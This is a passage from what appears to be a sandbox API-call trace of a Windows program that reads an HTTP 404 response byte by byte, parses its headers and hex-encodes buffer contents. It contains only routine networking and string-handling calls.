IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.170] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.170] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.170] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.170] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.170] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.170] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.170] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.170] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.170] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.170] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.170] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.170] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.170] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.170] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.170] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.170] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.171] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.171] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.171] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.171] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.171] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.171] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.171] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x78, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.171] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.171] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.171] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.171] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.171] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.171] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.171] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.171] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.171] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.171] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.171] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.171] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.172] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.172] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.172] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.172] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.172] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.172] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.172] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.172] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.172] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.172] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.172] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.172] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3b, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.172] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.172] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.172] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.173] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.173] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.173] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.173] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.173] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.173] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.173] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.173] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.173] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x68, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.173] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.173] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.173] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.173] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x61, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.173] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.173] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.173] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.173] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x72, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.173] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.173] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.174] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.174] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x73, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.174] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.174] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.174] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.174] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.174] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.174] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.174] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.174] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.174] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.174] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.174] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.174] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.174] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.174] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.174] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.174] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x69, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.174] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.175] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.175] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.175] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x73, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.175] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.175] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.175] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.175] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.175] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.175] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.175] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.175] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.175] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.175] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.175] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.175] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.175] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.175] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.175] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.175] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x38, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.176] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.176] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.176] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.176] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x35, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.176] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.176] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.176] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.176] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x39, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.176] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.176] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.176] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.176] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.176] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.176] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.176] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.176] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x31, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.176] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.176] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.176] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.177] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.177] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.177] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.177] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.177] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.177] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.177] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.177] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.177] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.177] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.177] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.177] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.177] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.177] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.177] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.177] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.178] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.178] StrStrIA (lpFirst="HTTP/1.1 404 Not Found\r\nDate: Wed, 11 Apr 2018 09:24:18 GMT\r\nServer: Apache\r\nContent-Length: 332\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n", lpSrch="Content-Length:") returned="Content-Length: 332\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n" [0086.178] lstrlenA (lpString="Content-Length:") returned 15 [0086.178] StrToIntA (lpSrc="332") returned 332 [0086.178] StrStrIA (lpFirst="HTTP/1.1 404 Not Found\r\nDate: Wed, 11 Apr 2018 09:24:18 GMT\r\nServer: Apache\r\nContent-Length: 332\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n", lpSrch="Location:") returned 0x0 [0086.178] select (in: nfds=0, readfds=0x12f444, writefds=0x0, exceptfds=0x0, timeout=0x12f43c | out: readfds=0x12f444, writefds=0x0, exceptfds=0x0) returned 1 [0086.178] select (in: nfds=0, readfds=0x12f444, writefds=0x0, exceptfds=0x0, timeout=0x12f43c | out: readfds=0x12f444, writefds=0x0, exceptfds=0x0) returned 1 [0086.178] recv (in: s=0x258, buf=0x12f55c, len=332, flags=0 | out: buf=0x12f55c*) returned 332 [0086.178] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12f55c*=0x3c, cb=0x14c, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.178] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.178] IStream:Clone (in: This=0x6405d0, ppstm=0x12fe74 | out: ppstm=0x12fe74*=0x640620) returned 0x0 [0086.178] IUnknown:Release (This=0x6405d0) returned 0x0 [0086.178] LocalFree (hMem=0x689d00) returned 0x0 [0086.178] closesocket (s=0x258) returned 0 [0086.179] LocalFree (hMem=0x685bf0) returned 0x0 [0086.179] LocalFree (hMem=0x687c78) returned 0x0 [0086.179] LocalFree (hMem=0x683b68) returned 0x0 [0086.179] GetHGlobalFromStream (in: pstm=0x640620, phglobal=0x12fe04 | out: phglobal=0x12fe04) returned 0x0 [0086.181] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.181] GlobalLock (hMem=0x570014) returned 0x630000 [0086.181] LocalAlloc (uFlags=0x40, uBytes=0x11cc) returned 0x683b68 [0086.181] LocalFree (hMem=0x683b68) returned 0x0 [0086.181] GlobalUnlock (hMem=0x570014) returned 0 [0086.182] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.182] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="3F") returned 2 [0086.182] lstrlenA (lpString="") returned 0 [0086.182] lstrlenA (lpString="3F") returned 2 [0086.182] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x668840 [0086.182] lstrcpyA (in: lpString1=0x668840, lpString2="" | out: lpString1="") returned="" [0086.182] lstrcatA (in: lpString1="", lpString2="3F" | out: lpString1="3F") returned="3F" [0086.182] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="27") returned 2 [0086.182] lstrlenA (lpString="3F") returned 2 [0086.182] lstrlenA (lpString="27") returned 2 [0086.182] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0086.182] lstrcpyA (in: lpString1=0x6687b0, lpString2="3F" | out: lpString1="3F") returned="3F" [0086.182] lstrcatA (in: lpString1="3F", lpString2="27" | out: lpString1="3F27") returned="3F27" [0086.182] LocalFree (hMem=0x668840) returned 0x0 [0086.182] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="DC") returned 2 [0086.182] lstrlenA (lpString="3F27") returned 4 [0086.182] lstrlenA (lpString="DC") returned 2 [0086.182] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x668840 [0086.182] lstrcpyA (in: lpString1=0x668840, lpString2="3F27" | out: lpString1="3F27") returned="3F27" [0086.182] lstrcatA (in: lpString1="3F27", lpString2="DC" | out: lpString1="3F27DC") returned="3F27DC" [0086.182] LocalFree (hMem=0x6687b0) returned 0x0 [0086.182] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="9F") returned 2 [0086.182] lstrlenA (lpString="3F27DC") returned 6 [0086.182] lstrlenA (lpString="9F") returned 2 [0086.182] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x665780 [0086.182] lstrcpyA (in: lpString1=0x665780, lpString2="3F27DC" | out: lpString1="3F27DC") returned="3F27DC" [0086.182] lstrcatA (in: lpString1="3F27DC", lpString2="9F" | out: lpString1="3F27DC9F") returned="3F27DC9F" [0086.182] LocalFree (hMem=0x668840) returned 0x0 [0086.182] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="C2") returned 2 [0086.182] lstrlenA (lpString="3F27DC9F") returned 8 [0086.182] lstrlenA (lpString="C2") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0086.183] lstrcpyA (in: lpString1=0x6643e8, lpString2="3F27DC9F" | out: lpString1="3F27DC9F") returned="3F27DC9F" [0086.183] lstrcatA (in: lpString1="3F27DC9F", lpString2="C2" | out: lpString1="3F27DC9FC2") returned="3F27DC9FC2" [0086.183] LocalFree (hMem=0x665780) returned 0x0 [0086.183] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="E7") returned 2 [0086.183] lstrlenA (lpString="3F27DC9FC2") returned 10 [0086.183] lstrlenA (lpString="E7") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0086.183] lstrcpyA (in: lpString1=0x665780, lpString2="3F27DC9FC2" | out: lpString1="3F27DC9FC2") returned="3F27DC9FC2" [0086.183] lstrcatA (in: lpString1="3F27DC9FC2", lpString2="E7" | out: lpString1="3F27DC9FC2E7") returned="3F27DC9FC2E7" [0086.183] LocalFree (hMem=0x6643e8) returned 0x0 [0086.183] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="A6") returned 2 [0086.183] lstrlenA 